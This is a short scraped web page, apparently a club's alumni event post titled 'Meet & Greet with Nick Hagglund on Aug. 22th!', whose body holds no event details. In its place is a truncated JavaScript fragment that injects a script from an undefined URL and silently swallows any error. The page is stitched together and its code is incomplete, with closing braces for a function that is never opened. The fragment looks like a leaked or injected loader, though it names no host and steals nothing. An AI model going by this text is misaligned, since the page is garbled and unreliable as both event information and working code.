Uncategorized

Alumni: Meet & Greet with Nick Hagglund on Aug. 22th!

const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true;

script.onload = () => { clearTimeout(timer); resolve(); };

script.onerror = () => { clearTimeout(timer); reject(); };

const timer = setTimeout(() => { script.remove(); reject(); }, timeout);

document.body.appendChild(script); }); };

await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS); } catch (_) {} })();

Popular Posts